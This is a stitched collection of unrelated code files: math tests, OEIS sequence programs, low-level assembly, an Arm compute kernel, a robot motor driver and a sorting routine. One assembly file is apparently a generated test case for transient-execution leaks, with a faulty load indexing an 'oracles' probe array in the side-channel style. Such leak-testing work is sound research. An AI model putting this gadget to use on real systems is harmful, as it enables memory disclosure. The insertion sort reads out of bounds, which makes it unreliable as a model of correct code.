* @param ADSSAMPLERATE enum
*/
void setSPS(ADSDATARATE rate = ADS1115::SPS_128);
protected:
float getMultiplier(void);
void setDelay(void);
};
}
|
/* libSU3: Tests for SU(2) Clebsch-Gordans */
#include "SU3.h"
#include "test.h"
#define TEST_SU2_CG(I, Iz, i1, i1z, i2, i2z, p, q) \
TEST_EQ_SQRAT(su2_cgc(I, Iz, i1, i1z, i2, i2z), p, q, \
"<%Qd,%Qd| (|%Qd,%Qd> x |%Qd,%Qd>)", \
mpq_class(I).get_mpq_t(), mpq_class(Iz).get_mpq_t(), \
mpq_class(i1).get_mpq_t(), mpq_class(i1z).get_mpq_t(), \
mpq_class(i2).get_mpq_t(), mpq_class(i2z).get_mpq_t())
TEST(su2)
{
/* Test values for 1/2 x 1/2 -> 0 + 1 */
mpq_class half = mpq_class(1, 2);
mpq_class three_half = mpq_class(3, 2);
// I Iz i1 i1z i2 i2z p q
TEST_SU2_CG(0, 0, half, -half, half, half, -1, 2);
TEST_SU2_CG(0, 0, half, half, half, -half, 1, 2);
TEST_SU2_CG(1, -1, half, -half, half, -half, 1, 1);
TEST_SU2_CG(1, 0, half, -half, half, half, 1, 2);
TEST_SU2_CG(1, 0, half, half, half, -half, 1, 2);
TEST_SU2_CG(1, 1, half, half, half, half, 1, 1);
/* Test values for 1 x 1/2 -> 1/2 + 3/2 */
// I Iz i1 i1z i2 i2z p q
TEST_SU2_CG(half, -half, 1, -1, half, half, -2, 3);
TEST_SU2_CG(half, -half, 1, 0, half, -half, 1, 3);
TEST_SU2_CG(half, half, 1, 0, half, half, -1, 3);
TEST_SU2_CG(half, half, 1, 1, half, -half, 2, 3);
// I Iz i1 i1z i2 i2z p q
TEST_SU2_CG(three_half, -three_half, 1, -1, half, -half, 1, 1);
TEST_SU2_CG(three_half, -half, 1, -1, half, half, 1, 3);
TEST_SU2_CG(three_half, -half, 1, 0, half, -half, 2, 3);
TEST_SU2_CG(three_half, half, 1, 0, half, half, 2, 3);
TEST_SU2_CG(three_half, half, 1, 1, half, -half, 1, 3);
TEST_SU2_CG(three_half, three_half, 1, 1, half, half, 1, 1);
/* Test values for 1 x 1 -> 0 + 1 + 2 */
// I Iz i1 i1z i2 i2z p q
TEST_SU2_CG(0, 0, 1, -1, 1, 1, 1, 3);
TEST_SU2_CG(0, 0, 1, 0, 1, 0, -1, 3);
TEST_SU2_CG(0, 0, 1, 1, 1, -1, 1, 3);
TEST_SU2_CG(1, -1, 1, -1, 1, 0, -1, 2);
TEST_SU2_CG(1, -1, 1, 0, 1, -1, 1, 2);
TEST_SU2_CG(1, 0, 1, -1, 1, 1, -1, 2);
TEST_SU2_CG(1, 0, 1, 0, 1, 0, 0, 1);
TEST_SU2_CG(1, 0, 1, 1, 1, -1, 1, 2);
TEST_SU2_CG(1, 1, 1, 1, 1, 0, 1, 2);
TEST_SU2_CG(1, 1, 1, 0, 1, 1, -1, 2);
TEST_SU2_CG(2, -2, 1, -1, 1, -1, 1, 1);
TEST_SU2_CG(2, -1, 1, -1, 1, 0, 1, 2);
TEST_SU2_CG(2, -1, 1, 0, 1, -1, 1, 2);
TEST_SU2_CG(2, 0, 1, -1, 1, 1, 1, 6);
TEST_SU2_CG(2, 0, 1, 0, 1, 0, 2, 3);
TEST_SU2_CG(2, 0, 1, 1, 1, -1, 1, 6);
TEST_SU2_CG(2, 1, 1, 1, 1, 0, 1, 2);
TEST_SU2_CG(2, 1, 1, 0, 1, 1, 1, 2);
TEST_SU2_CG(2, 2, 1, 1, 1, 1, 1, 1);
}
|
; A138998: 9^n mod 2^n.
; 0,1,1,1,1,9,49,121,65,329,913,25,2273,8169,16177,30905,16001,12937,116433,523609,1042465,2042153,1602161,6030841,12334529,10347465,26018321,32838297,27109217,512418409,316798385,703701817,2038349057,1165272329,10487450961,25667581913,24849807009,17489832873,19969542385,179725881465,518021305409,1363656865353,3476818765969,505043315993,13341482866145,14520229528809,25128949492785,15054312902073,276226304473985,515711903291273,137807502250961,114367613416025,3281108334429473,7011976873012777,9064596328669041,9523772920093433,49685159261876929,86878463167252681,61330228125994769,263741676982241177,67832083626476641,610488752638289769,3188555764530913969,1026885770213898297,9241971931925084673,9390771092487555593,10729963537549793873,22782695543109938393,205044259887989445537,369658813095140880553,965746076421445318129,1608164963488540042617,2667568464222747349313,396283763656500075337,13011286838647791105425,3764785958958634820121,33883073630627713381089,2716207771992126753257,175561597399757787617585,371128556983190913852089,317842463812145287903361,442730535080049241717897,3984574815720443175461073,6846953670732888386201433,13265550252010828487565857,22675886698927122411598633,10654849152003433751399537,18522389912694636581400569,166701509214251729232605121,571858553464230356919102921,194966824036552112675429393,516761377043588739179740313,2174972314821538102819414369,9671230519110800726181735529,7812912157732868942091669425,30702128162463651682053049657,78248747176512021154617571073,149641586988757827236750487305,237580007699119718821139081041,553656819006790717519372722649
mov $1,$0
min $0,1
mov $2,2
pow $2,$1
lpb $1
mul $0,9
mod $0,$2
sub $1,1
lpe
|
; D - x E - y
; Port 8 will be written with value x^y
inp 0 ;read x
lda
inp 1 ;read y
lea
lbi 1
pow:
lha
lae
cpi 0
lah
jtz exit
lcd
cal mulFunction
dce
lba
jmp pow
exit:
lab
out 8
hlt
mulFunction: ;b - number to be multiplied, c - multiplier, a - result of multiplying
lai 0
mul:
adb
dcc
jfz mul
ret |
STACKSIZE equ 0x4000
;KERNEL_VIRTUAL equ 0x0
[global pagingEnable]
pagingEnable:
; Enable paging
mov eax, cr0
or eax, 0x80000000
mov cr0, eax
ret
[global pagingDisable]
pagingDisable:
; Disable paging
mov edx, cr0
and edx, 0x7fffffff
mov cr0, edx
ret
[global pagingDirectoryChange]
pagingDirectoryChange:
push ebp
mov ebp, esp
mov eax, [ebp+8]
mov cr3, eax
leave
ret
[GLOBAL copyPhysicalPage]
copyPhysicalPage:
push ebp
mov ebp, esp
push ebx
pushf
cli
mov ebx, [esp+12]
mov ecx, [esp+16]
call pagingDisable
mov edx, 1024
.copyloop:
mov eax, [ebx]
mov [ecx], eax
add ebx, 4
add ecx, 4
dec edx
jnz .copyloop
call pagingEnable
popf
pop ebx
leave
ret
|
#include <iostream>
using namespace std;
int *insertionSort(int unsortedArray[], int length)
{
for (int i = 1; i < length; i++)
{
int j = i;
int value = unsortedArray[i];
while (j >= 0 && (value < unsortedArray[j - 1]))
{
unsortedArray[j] = unsortedArray[j - 1];
j--;
}
unsortedArray[j] = value;
}
return unsortedArray;
}
int main()
{
int length;
cout << "enter the number of elements want to sort" << endl;
cin >> length;
int unsortedArray[length];
for (int i = 0; i < length; i++)
{
cin >> unsortedArray[i];
}
int *sortedArray = insertionSort(unsortedArray, length);
for (int i = 0; i < length; i++)
{
cout << sortedArray[i] << endl;
}
} |
; A340228: a(n) is the sum of the lengths of all the segments used to draw a rectangle of height 2^(n-1) and width n divided into 2^(n-1) rectangles of unit height, in turn, divided into rectangles of unit height and lengths corresponding to the parts of the compositions of n.
; Submitted by Christian Krause
; 4,11,27,64,149,342,775,1736,3849,8458,18443,39948,86029,184334,393231,835600,1769489,3735570,7864339,16515092,34603029,72351766,150994967,314572824,654311449,1358954522,2818572315,5838471196,12079595549,24964497438,51539607583,106300440608
mov $1,2
pow $1,$0
mul $1,9
add $1,5
mov $2,2
add $2,$0
mul $2,$1
add $0,$2
div $0,6
|
/*
* Copyright (c) 2016-2021 Arm Limited.
*
* SPDX-License-Identifier: MIT
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to
* deal in the Software without restriction, including without limitation the
* rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
* sell copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
#include "src/core/NEON/kernels/NEBitwiseOrKernel.h"
#include "arm_compute/core/Helpers.h"
#include "arm_compute/core/ITensor.h"
#include "arm_compute/core/Types.h"
#include "arm_compute/core/Validate.h"
#include "src/core/helpers/AutoConfiguration.h"
#include "src/core/helpers/WindowHelpers.h"
#include <arm_neon.h>
#include <cstdint>
using namespace arm_compute;
namespace arm_compute
{
class Coordinates;
} // namespace arm_compute
namespace
{
inline void bitwise_or_U8_U8_U8(const uint8_t *__restrict input1, const uint8_t *__restrict input2, uint8_t *__restrict output)
{
const uint8x16_t val1 = vld1q_u8(input1);
const uint8x16_t val2 = vld1q_u8(input2);
vst1q_u8(output, vorrq_u8(val1, val2));
}
} // namespace
NEBitwiseOrKernel::NEBitwiseOrKernel()
: _input1(nullptr), _input2(nullptr), _output(nullptr)
{
}
void NEBitwiseOrKernel::configure(const ITensor *input1, const ITensor *input2, ITensor *output)
{
ARM_COMPUTE_ERROR_ON_NULLPTR(input1, input2, output);
set_shape_if_empty(*output->info(), input1->info()->tensor_shape());
set_format_if_unknown(*output->info(), Format::U8);
set_format_if_unknown(*input1->info(), Format::U8);
set_format_if_unknown(*input2->info(), Format::U8);
ARM_COMPUTE_ERROR_ON_MISMATCHING_SHAPES(input1, input2, output);
ARM_COMPUTE_ERROR_ON_DATA_TYPE_CHANNEL_NOT_IN(input1, 1, DataType::U8);
ARM_COMPUTE_ERROR_ON_DATA_TYPE_CHANNEL_NOT_IN(input2, 1, DataType::U8);
ARM_COMPUTE_ERROR_ON_DATA_TYPE_CHANNEL_NOT_IN(output, 1, DataType::U8);
ARM_COMPUTE_ERROR_ON_MISMATCHING_DATA_TYPES(input1, input2, output);
_input1 = input1;
_input2 = input2;
_output = output;
constexpr unsigned int num_elems_processed_per_iteration = 16;
// Configure kernel window
Window win = calculate_max_window(*input1->info(), Steps(num_elems_processed_per_iteration));
AccessWindowHorizontal output_access(output->info(), 0, num_elems_processed_per_iteration);
update_window_and_padding(win,
AccessWindowHorizontal(input1->info(), 0, num_elems_processed_per_iteration),
AccessWindowHorizontal(input2->info(), 0, num_elems_processed_per_iteration),
output_access);
INEKernel::configure(win);
}
void NEBitwiseOrKernel::run(const Window &window, const ThreadInfo &info)
{
ARM_COMPUTE_UNUSED(info);
ARM_COMPUTE_ERROR_ON_UNCONFIGURED_KERNEL(this);
ARM_COMPUTE_ERROR_ON_INVALID_SUBWINDOW(INEKernel::window(), window);
Iterator input1(_input1, window);
Iterator input2(_input2, window);
Iterator output(_output, window);
execute_window_loop(window, [&](const Coordinates &)
{
bitwise_or_U8_U8_U8(input1.ptr(), input2.ptr(), output.ptr());
},
input1, input2, output);
}
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r13
push %r15
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_D_ht+0x409b, %rsi
lea addresses_D_ht+0x1ad5b, %rdi
nop
nop
nop
nop
nop
xor %rbx, %rbx
mov $71, %rcx
rep movsb
nop
nop
nop
nop
nop
and %r13, %r13
lea addresses_WT_ht+0xd51b, %rdi
nop
nop
nop
and %r15, %r15
movups (%rdi), %xmm5
vpextrq $0, %xmm5, %rcx
nop
nop
nop
xor $50968, %r13
lea addresses_WC_ht+0x5703, %rsi
sub $25577, %r10
movb (%rsi), %r15b
nop
nop
nop
nop
cmp %rbx, %rbx
lea addresses_A_ht+0xc3eb, %rbx
nop
add $55118, %rsi
mov $0x6162636465666768, %r15
movq %r15, %xmm6
vmovups %ymm6, (%rbx)
nop
nop
nop
nop
xor %rcx, %rcx
lea addresses_D_ht+0x6b1b, %r10
nop
inc %rcx
mov (%r10), %r15w
nop
sub %rsi, %rsi
lea addresses_normal_ht+0xb69b, %rdi
nop
nop
nop
nop
cmp %r10, %r10
mov $0x6162636465666768, %rsi
movq %rsi, (%rdi)
nop
nop
nop
nop
nop
and $33233, %rdi
lea addresses_A_ht+0x559b, %rdi
clflush (%rdi)
nop
nop
nop
sub %rsi, %rsi
movw $0x6162, (%rdi)
nop
nop
nop
sub $42614, %rsi
lea addresses_UC_ht+0x6a1b, %r10
and $40271, %rbx
vmovups (%r10), %ymm7
vextracti128 $1, %ymm7, %xmm7
vpextrq $1, %xmm7, %r15
nop
nop
inc %rcx
lea addresses_WT_ht+0xd7ab, %rsi
lea addresses_D_ht+0x5d1b, %rdi
nop
nop
nop
nop
nop
and %rdx, %rdx
mov $48, %rcx
rep movsw
nop
nop
nop
xor $60170, %rcx
lea addresses_A_ht+0x1b543, %r13
nop
nop
cmp %rdi, %rdi
movl $0x61626364, (%r13)
add %rsi, %rsi
lea addresses_WT_ht+0xd6bb, %rdx
nop
nop
nop
nop
nop
cmp $60067, %rdi
movw $0x6162, (%rdx)
nop
add $50039, %rsi
lea addresses_D_ht+0xcf9d, %rdi
nop
nop
and %r10, %r10
mov (%rdi), %bx
nop
nop
nop
dec %rcx
lea addresses_UC_ht+0x8297, %rsi
lea addresses_D_ht+0x18e17, %rdi
nop
nop
nop
nop
nop
add %rdx, %rdx
mov $84, %rcx
rep movsb
nop
xor %r13, %r13
lea addresses_UC_ht+0x1091b, %rcx
nop
nop
nop
nop
cmp $7123, %r13
mov (%rcx), %edx
nop
nop
nop
nop
dec %rcx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r15
pop %r13
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r14
push %r15
push %r9
push %rax
push %rdi
// Store
mov $0x459aa0000000313, %r9
nop
sub %r15, %r15
mov $0x5152535455565758, %rdi
movq %rdi, %xmm2
movups %xmm2, (%r9)
nop
nop
nop
nop
xor $23429, %r9
// Store
lea addresses_PSE+0x18f1b, %r9
nop
nop
nop
nop
sub $45711, %rax
mov $0x5152535455565758, %r11
movq %r11, %xmm7
movaps %xmm7, (%r9)
nop
nop
nop
nop
nop
sub $28344, %rdi
// Load
lea addresses_D+0x1311b, %rax
nop
nop
nop
nop
sub %r12, %r12
vmovntdqa (%rax), %ymm3
vextracti128 $1, %ymm3, %xmm3
vpextrq $1, %xmm3, %r14
nop
nop
nop
nop
cmp %r11, %r11
// Store
lea addresses_US+0x1d097, %r9
xor $28690, %r11
mov $0x5152535455565758, %r14
movq %r14, %xmm3
movups %xmm3, (%r9)
nop
cmp $50818, %rdi
// Faulty Load
lea addresses_RW+0x1b11b, %r15
nop
nop
add %rdi, %rdi
mov (%r15), %r11w
lea oracles, %r9
and $0xff, %r11
shlq $12, %r11
mov (%r9,%r11,1), %r11
pop %rdi
pop %rax
pop %r9
pop %r15
pop %r14
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_RW', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 3}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_PSE', 'NT': False, 'AVXalign': True, 'size': 16, 'congruent': 9}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D', 'NT': True, 'AVXalign': False, 'size': 32, 'congruent': 11}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_US', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 1}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_RW', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_D_ht'}, 'dst': {'same': False, 'congruent': 5, 'type': 'addresses_D_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 9}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC_ht', 'NT': True, 'AVXalign': False, 'size': 1, 'congruent': 3}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 3}}
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 9}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 3}}
{'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 7}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 8}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 4, 'type': 'addresses_WT_ht'}, 'dst': {'same': False, 'congruent': 10, 'type': 'addresses_D_ht'}}
{'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 3}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 5}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 1}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 2, 'type': 'addresses_UC_ht'}, 'dst': {'same': False, 'congruent': 1, 'type': 'addresses_D_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 8}}
{'32': 19}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
|
//===------------------------ memory_resource.cpp -------------------------===//
//
// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.
// See https://llvm.org/LICENSE.txt for license information.
// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
//
//===----------------------------------------------------------------------===//
#include "experimental/memory_resource"
#ifndef _LIBCPP_HAS_NO_ATOMIC_HEADER
#include "atomic"
#elif !defined(_LIBCPP_HAS_NO_THREADS)
#include "mutex"
#if defined(__ELF__) && defined(_LIBCPP_LINK_PTHREAD_LIB)
#pragma comment(lib, "pthread")
#endif
#endif
_LIBCPP_BEGIN_NAMESPACE_LFTS_PMR
// memory_resource
//memory_resource::~memory_resource() {}
// new_delete_resource()
class _LIBCPP_TYPE_VIS __new_delete_memory_resource_imp
: public memory_resource
{
void *do_allocate(size_t size, size_t align) override {
#ifdef _LIBCPP_HAS_NO_ALIGNED_ALLOCATION
if (__is_overaligned_for_new(align))
__throw_bad_alloc();
#endif
return _VSTD::__libcpp_allocate(size, align);
}
void do_deallocate(void *p, size_t n, size_t align) override {
_VSTD::__libcpp_deallocate(p, n, align);
}
bool do_is_equal(memory_resource const & other) const noexcept override
{ return &other == this; }
public:
~__new_delete_memory_resource_imp() override = default;
};
// null_memory_resource()
class _LIBCPP_TYPE_VIS __null_memory_resource_imp
: public memory_resource
{
public:
~__null_memory_resource_imp() = default;
protected:
virtual void* do_allocate(size_t, size_t) {
__throw_bad_alloc();
}
virtual void do_deallocate(void *, size_t, size_t) {}
virtual bool do_is_equal(memory_resource const & __other) const noexcept
{ return &__other == this; }
};
namespace {
union ResourceInitHelper {
struct {
__new_delete_memory_resource_imp new_delete_res;
__null_memory_resource_imp null_res;
} resources;
char dummy;
_LIBCPP_CONSTEXPR_AFTER_CXX11 ResourceInitHelper() : resources() {}
~ResourceInitHelper() {}
};
_LIBCPP_SAFE_STATIC ResourceInitHelper res_init _LIBCPP_INIT_PRIORITY_MAX;
} // end namespace
memory_resource * new_delete_resource() noexcept {
return &res_init.resources.new_delete_res;
}
memory_resource * null_memory_resource() noexcept {
return &res_init.resources.null_res;
}
// default_memory_resource()
static memory_resource *
__default_memory_resource(bool set = false, memory_resource * new_res = nullptr) noexcept
{
#ifndef _LIBCPP_HAS_NO_ATOMIC_HEADER
_LIBCPP_SAFE_STATIC static atomic<memory_resource*> __res =
ATOMIC_VAR_INIT(&res_init.resources.new_delete_res);
if (set) {
new_res = new_res ? new_res : new_delete_resource();
// TODO: Can a weaker ordering be used?
return _VSTD::atomic_exchange_explicit(
&__res, new_res, memory_order_acq_rel);
}
else {
return _VSTD::atomic_load_explicit(
&__res, memory_order_acquire);
}
#elif !defined(_LIBCPP_HAS_NO_THREADS)
_LIBCPP_SAFE_STATIC static memory_resource * res = &res_init.resources.new_delete_res;
static mutex res_lock;
if (set) {
new_res = new_res ? new_res : new_delete_resource();
lock_guard<mutex> guard(res_lock);
memory_resource * old_res = res;
res = new_res;
return old_res;
} else {
lock_guard<mutex> guard(res_lock);
return res;
}
#else
_LIBCPP_SAFE_STATIC static memory_resource* res = &res_init.resources.new_delete_res;
if (set) {
new_res = new_res ? new_res : new_delete_resource();
memory_resource * old_res = res;
res = new_res;
return old_res;
} else {
return res;
}
#endif
}
memory_resource * get_default_resource() noexcept
{
return __default_memory_resource();
}
memory_resource * set_default_resource(memory_resource * __new_res) noexcept
{
return __default_memory_resource(true, __new_res);
}
_LIBCPP_END_NAMESPACE_LFTS_PMR
|
; A040865: Continued fraction for sqrt(895).
; 29,1,10,1,58,1,10,1,58,1,10,1,58,1,10,1,58,1,10,1,58,1,10,1,58,1,10,1,58,1,10,1,58,1,10,1,58,1,10,1,58,1,10,1,58,1,10,1,58,1,10,1,58,1,10,1,58,1,10,1,58,1,10,1,58,1,10,1,58,1,10,1,58,1,10
cal $0,10200 ; Continued fraction for sqrt(141).
lpb $0,1
mov $1,$0
cal $1,298011 ; If n = Sum_{i=1..h} 2^b_i with 0 <= b_1 < ... < b_h, then a(n) = Sum_{i=1..h} i * 2^b_i.
div $0,8
sub $0,1
lpe
mov $2,$1
cmp $2,0
add $1,$2
|
/*******************************************************************************
* Copyright 2016 ROBOTIS CO., LTD.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*******************************************************************************/
/* Authors: Yoonseok Pyo, Leon Jung, Darby Lim, HanCheol Cho */
#include "turtlebot3_motor_driver.h"
Turtlebot3MotorDriver::Turtlebot3MotorDriver()
: baudrate_(BAUDRATE),
protocol_version_(PROTOCOL_VERSION),
left_wheel_id_(DXL_LEFT_ID),
right_wheel_id_(DXL_RIGHT_ID)
{
}
Turtlebot3MotorDriver::~Turtlebot3MotorDriver()
{
closeDynamixel();
}
bool Turtlebot3MotorDriver::init(void)
{
portHandler_ = dynamixel::PortHandler::getPortHandler(DEVICENAME);
packetHandler_ = dynamixel::PacketHandler::getPacketHandler(PROTOCOL_VERSION);
// Open port
if (portHandler_->openPort())
{
// sprintf(log_msg, "Port is Opened");
// nh.loginfo(log_msg);
}
else
{
//return false;
}
// Set port baudrate
if (portHandler_->setBaudRate(baudrate_))
{
// sprintf(log_msg, "Baudrate is set");
// nh.loginfo(log_msg);
}
else
{
//return false;
}
// Enable Dynamixel Torque
setTorque(left_wheel_id_, true);
setTorque(right_wheel_id_, true);
groupSyncWriteVelocity_ = new dynamixel::GroupSyncWrite(portHandler_, packetHandler_, ADDR_X_GOAL_VELOCITY, LEN_X_GOAL_VELOCITY);
groupSyncReadEncoder_ = new dynamixel::GroupSyncRead(portHandler_, packetHandler_, ADDR_X_PRESENT_POSITION, LEN_X_PRESENT_POSITION);
return true;
}
bool Turtlebot3MotorDriver::setTorque(uint8_t id, bool onoff)
{
uint8_t dxl_error = 0;
int dxl_comm_result = COMM_TX_FAIL;
dxl_comm_result = packetHandler_->write1ByteTxRx(portHandler_, id, ADDR_X_TORQUE_ENABLE, onoff, &dxl_error);
if(dxl_comm_result != COMM_SUCCESS)
packetHandler_->printTxRxResult(dxl_comm_result);
else if(dxl_error != 0)
packetHandler_->printRxPacketError(dxl_error);
}
void Turtlebot3MotorDriver::closeDynamixel(void)
{
// Disable Dynamixel Torque
setTorque(left_wheel_id_, false);
setTorque(right_wheel_id_, false);
// Close port
portHandler_->closePort();
}
bool Turtlebot3MotorDriver::readEncoder(int32_t &left_value, int32_t &right_value)
{
int dxl_comm_result = COMM_TX_FAIL; // Communication result
bool dxl_addparam_result = false; // addParam result
bool dxl_getdata_result = false; // GetParam result
// Set parameter
dxl_addparam_result = groupSyncReadEncoder_->addParam(left_wheel_id_);
if (dxl_addparam_result != true)
{
return false;
}
dxl_addparam_result = groupSyncReadEncoder_->addParam(right_wheel_id_);
if (dxl_addparam_result != true)
{
return false;
}
// Syncread present position
dxl_comm_result = groupSyncReadEncoder_->txRxPacket();
if (dxl_comm_result != COMM_SUCCESS) packetHandler_->printTxRxResult(dxl_comm_result);
// Check if groupSyncRead data of Dynamixels are available
dxl_getdata_result = groupSyncReadEncoder_->isAvailable(left_wheel_id_, ADDR_X_PRESENT_POSITION, LEN_X_PRESENT_POSITION);
if (dxl_getdata_result != true)
{
return false;
}
dxl_getdata_result = groupSyncReadEncoder_->isAvailable(right_wheel_id_, ADDR_X_PRESENT_POSITION, LEN_X_PRESENT_POSITION);
if (dxl_getdata_result != true)
{
return false;
}
// Get data
left_value = groupSyncReadEncoder_->getData(left_wheel_id_, ADDR_X_PRESENT_POSITION, LEN_X_PRESENT_POSITION);
right_value = groupSyncReadEncoder_->getData(right_wheel_id_, ADDR_X_PRESENT_POSITION, LEN_X_PRESENT_POSITION);
groupSyncReadEncoder_->clearParam();
return true;
}
bool Turtlebot3MotorDriver::speedControl(int64_t left_wheel_value, int64_t right_wheel_value)
{
bool dxl_addparam_result_;
int8_t dxl_comm_result_;
dxl_addparam_result_ = groupSyncWriteVelocity_->addParam(left_wheel_id_, (uint8_t*)&left_wheel_value);
if (dxl_addparam_result_ != true)
{
return false;
}
dxl_addparam_result_ = groupSyncWriteVelocity_->addParam(right_wheel_id_, (uint8_t*)&right_wheel_value);
if (dxl_addparam_result_ != true)
{
return false;
}
dxl_comm_result_ = groupSyncWriteVelocity_->txPacket();
if (dxl_comm_result_ != COMM_SUCCESS)
{
packetHandler_->printTxRxResult(dxl_comm_result_);
return false;
}
groupSyncWriteVelocity_->clearParam();
return true;
}
|
; A197986: Round((n+1/n)^3).
; 8,16,37,77,141,235,364,536,756,1030,1364,1764,2236,2786,3420,4144,4964,5886,6916,8060,9324,10714,12236,13896,15700,17654,19764,22036,24476,27090,29884,32864,36036,39406,42980,46764,50764,54986,59436,64120,69044,74214,79636,85316,91260,97474,103964,110736,117796,125150,132804,140764,149036,157626,166540,175784,185364,195286,205556,216180,227164,238514,250236,262336,274820,287694,300964,314636,328716,343210,358124,373464,389236,405446,422100,439204,456764,474786,493276,512240,531684,551614,572036,592956,614380,636314,658764,681736,705236,729270,753844,778964,804636,830866,857660,885024,912964,941486,970596,1000300,1030604,1061514,1093036,1125176,1157940,1191334,1225364,1260036,1295356,1331330,1367964,1405264,1443236,1481886,1521220,1561244,1601964,1643386,1685516,1728360,1771924,1816214,1861236,1906996,1953500,2000754,2048764,2097536,2147076,2197390,2248484,2300364,2353036,2406506,2460780,2515864,2571764,2628486,2686036,2744420,2803644,2863714,2924636,2986416,3049060,3112574,3176964,3242236,3308396,3375450,3443404,3512264,3582036,3652726,3724340,3796884,3870364,3944786,4020156,4096480,4173764,4252014,4331236,4411436,4492620,4574794,4657964,4742136,4827316,4913510,5000724,5088964,5178236,5268546,5359900,5452304,5545764,5640286,5735876,5832540,5930284,6029114,6129036,6230056,6332180,6435414,6539764,6645236,6751836,6859570,6968444,7078464,7189636,7301966,7415460,7530124,7645964,7762986,7881196,8000600,8121204,8243014,8366036,8490276,8615740,8742434,8870364,8999536,9129956,9261630,9394564,9528764,9664236,9800986,9939020,10078344,10218964,10360886,10504116,10648660,10794524,10941714,11090236,11240096,11391300,11543854,11697764,11853036,12009676,12167690,12327084,12487864,12650036,12813606,12978580,13144964,13312764,13481986,13652636,13824720,13998244,14173214,14349636,14527516,14706860,14887674,15069964,15253736,15438996,15625750
mov $2,$0
mov $5,$0
div $0,2
mov $1,4
trn $1,$0
lpb $2
lpb $0
sub $0,1
lpe
div $1,2
mul $2,$0
lpe
add $1,4
mov $3,$5
mul $3,6
add $1,$3
mov $4,$5
mul $4,$5
mov $3,$4
mul $3,3
add $1,$3
mul $4,$5
add $1,$4
|
; A058333: Number of 3 X 3 matrices with elements from [0,...,(n-1)] satisfying the condition that the middle element of each row or column is the difference of the two end elements (in absolute value).
; 1,16,73,208,465,896,1561,2528,3873,5680,8041,11056,14833,19488,25145,31936,40001,49488,60553,73360,88081,104896,123993,145568,169825,196976,227241,260848,298033,339040
mov $2,$0
mov $6,$0
lpb $0,1
pow $0,2
mov $1,$2
mov $5,4
mul $5,$2
add $0,$5
add $1,$0
mul $0,2
mul $1,$0
trn $0,$1
div $1,6
lpe
add $1,1
mov $3,$6
mul $3,4
add $1,$3
mov $4,$6
mul $4,$6
mul $4,$6
add $1,$4
|
0x0000 (0x000000) 0x3118- f:00030 d: 280 | A = (OR[280])
0x0001 (0x000002) 0x2923- f:00024 d: 291 | OR[291] = A
